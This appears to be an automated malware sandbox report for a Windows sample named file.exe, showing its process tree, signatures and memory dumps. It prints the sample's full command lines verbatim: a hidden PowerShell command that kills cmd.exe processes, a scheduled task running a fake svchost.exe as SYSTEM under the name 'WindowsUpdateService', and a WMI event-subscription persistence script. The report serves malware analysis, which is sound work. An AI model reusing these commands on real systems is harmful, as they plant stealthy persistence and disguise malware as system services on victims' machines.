Resubmissions
15/10/2026, 20:30
261015-y96pja1zfz815/10/2026, 20:27
261015-y8n34aeb49815/10/2026, 20:11
261015-yykmxsww4l815/10/2026, 20:10
261015-yx3r4s1xgz8Analysis
- max time kernel
5s - max time network
21s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
15/10/2026, 20:27
General
- Target file.exe
- Size 53.8MB
- Sample261015-y8n34aeb49
- SHA256 07c51b38b2f46afca1dbb7cc3eba957c7ea7dbe36e027e01ecd92a9ea8184c18
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 1 IoCs
- Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Gothbreach\payload_1792096082_8944.exe"C:\Users\Admin\AppData\Local\Gothbreach\payload_1792096082_8944.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -WindowStyle Hidden -Command "Get-CimInstance Win32_Process -Filter \"Name='cmd.exe'\" | Where-Object { $_.CommandLine -like '*/Q /K*' } | ForEach-Object { Stop-Process -Id $_.ProcessId -Force -ErrorAction SilentlyContinue }"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "WindowsUpdateService" /F3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "WindowsUpdateService" /TR "C:\Users\Admin\AppData\Roaming\WindowsUpdateService\svchost.exe" /SC ONLOGON /RU SYSTEM /RL HIGHEST /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -Command " $ns = 'ROOT\subscription' try { Remove-WmiObject -Namespace $ns -Class __FilterToConsumerBinding -ErrorAction SilentlyContinue -Filter "Filter.Name='WindowsUpdateService'" } catch {} try { Remove-WmiObject -Namespace $ns -Class CommandLineEventConsumer -ErrorAction SilentlyContinue -Filter "Name='WindowsUpdateService'" } catch {} try { Remove-WmiObject -Namespace $ns -Class __EventFilter -ErrorAction SilentlyContinue -Filter "Name='WindowsUpdateService'" } catch {} $filter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance() $filter.QueryLanguage = 'WQL' $filter.Query = "SELECT * FROM __InstanceModificationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 60" $filter.Name = 'WindowsUpdateService' $filter.EventNamespace = 'root\cimv2' $filter.Put() $consumer = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance() $consumer.Name = 'WindowsUpdateService' $consumer.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\WindowsUpdateService\svchost.exe' $consumer.CommandLineTemplate = '"C:\Users\Admin\AppData\Roaming\WindowsUpdateService\svchost.exe"' $consumer.Put() $binding = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance() $binding.Filter = "__EventFilter.Name='WindowsUpdateService'" $binding.Consumer = "CommandLineEventConsumer.Name='WindowsUpdateService'" $binding.Put() "3⤵
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Roaming\WindowsUpdateService\svchost.exe"C:\Users\Admin\AppData\Roaming\WindowsUpdateService\svchost.exe"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -WindowStyle Hidden -Command "Get-CimInstance Win32_Process -Filter \"Name='cmd.exe'\" | Where-Object { $_.CommandLine -like '*/Q /K*' } | ForEach-Object { Stop-Process -Id $_.ProcessId -Force -ErrorAction SilentlyContinue }"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Roaming\WindowsUpdateService\svchost.exeC:\Users\Admin\AppData\Roaming\WindowsUpdateService\svchost.exe1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -WindowStyle Hidden -Command "Get-CimInstance Win32_Process -Filter \"Name='cmd.exe'\" | Where-Object { $_.CommandLine -like '*/Q /K*' } | ForEach-Object { Stop-Process -Id $_.ProcessId -Force -ErrorAction SilentlyContinue }"2⤵
- Command and Scripting Interpreter: PowerShell
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_xyfrploj.oxc.psm1
debug.log
debug.log
debug.log
svchost_dummy.exe.cs
crypto_clipper_2026-10-15.log
memory/900-125-0x00000227982B0000-0x00000227983B0000-memory.dmp
memory/900-60-0x0000021F92FA0000-0x0000021F92FD0000-memory.dmp
memory/900-56-0x0000021F92EA0000-0x0000021F92EC0000-memory.dmp
memory/900-52-0x0000021F92F30000-0x0000021F92F80000-memory.dmp
memory/900-85-0x0000021F95D50000-0x0000021F95D80000-memory.dmp
memory/900-90-0x0000021F94550000-0x0000021F94570000-memory.dmp
memory/900-68-0x0000021F93080000-0x0000021F930A0000-memory.dmp
memory/900-81-0x0000021F94510000-0x0000021F94530000-memory.dmp
memory/900-77-0x0000021F944E0000-0x0000021F94500000-memory.dmp
memory/900-192-0x00000227990F0000-0x0000022799100000-memory.dmp
memory/900-48-0x0000022796160000-0x00000227970B0000-memory.dmp
memory/900-187-0x0000022798470000-0x0000022798490000-memory.dmp
memory/900-64-0x0000021F94000000-0x0000021F94050000-memory.dmp
memory/900-121-0x0000022796080000-0x0000022796140000-memory.dmp
memory/900-143-0x0000022798640000-0x00000227987F0000-memory.dmp
memory/900-175-0x0000022799060000-0x0000022799090000-memory.dmp
memory/900-179-0x0000022799010000-0x0000022799030000-memory.dmp
memory/900-151-0x0000022797300000-0x0000022797340000-memory.dmp
memory/900-155-0x00000227983F0000-0x0000022798470000-memory.dmp
memory/900-171-0x0000022798870000-0x0000022798890000-memory.dmp
memory/900-167-0x0000022798AB0000-0x0000022798B30000-memory.dmp
memory/900-163-0x0000022798DA0000-0x0000022799010000-memory.dmp
memory/900-160-0x0000022798980000-0x0000022798A20000-memory.dmp
memory/900-147-0x0000021F95E10000-0x0000021F95E50000-memory.dmp
memory/900-72-0x0000021F944A0000-0x0000021F944E0000-memory.dmp
memory/4160-46-0x00007FF7CF300000-0x00007FF7CF369000-memory.dmp
memory/4340-98-0x000001FEFFC40000-0x000001FEFFC62000-memory.dmp
memory/4340-116-0x000001FEFE450000-0x000001FEFE45A000-memory.dmp
memory/4340-118-0x000001FEFFC70000-0x000001FEFFC94000-memory.dmp
memory/4340-117-0x000001FEFFC70000-0x000001FEFFC9A000-memory.dmp
memory/4340-120-0x00007FFB81070000-0x00007FFB81A14000-memory.dmp
memory/4340-115-0x00007FFB81070000-0x00007FFB81A14000-memory.dmp
memory/4340-114-0x000001FE98A50000-0x000001FE98B02000-memory.dmp
memory/4340-113-0x000001FE98A30000-0x000001FE98A4E000-memory.dmp
memory/4340-110-0x00007FFB81070000-0x00007FFB81A14000-memory.dmp
memory/4340-109-0x00007FFB81070000-0x00007FFB81A14000-memory.dmp
memory/4340-108-0x00007FFB81070000-0x00007FFB81A14000-memory.dmp
memory/4340-107-0x00007FFB81070000-0x00007FFB81A14000-memory.dmp
memory/4340-106-0x00007FFB81070000-0x00007FFB81A14000-memory.dmp
memory/4340-105-0x00007FFB81070000-0x00007FFB81A14000-memory.dmp
memory/4340-104-0x00007FFB81070000-0x00007FFB81A14000-memory.dmp
memory/4340-103-0x00007FFB81070000-0x00007FFB81A14000-memory.dmp
memory/4340-102-0x00007FFB81070000-0x00007FFB81A14000-memory.dmp
memory/4340-99-0x00007FFB81070000-0x00007FFB81A14000-memory.dmp
memory/4340-97-0x00007FFB81070000-0x00007FFB81A14000-memory.dmp
memory/4340-96-0x00007FFB81070000-0x00007FFB81A14000-memory.dmp
memory/4340-95-0x00007FFB81070000-0x00007FFB81A14000-memory.dmp
memory/4340-94-0x00007FFB811FF000-0x00007FFB81200000-memory.dmp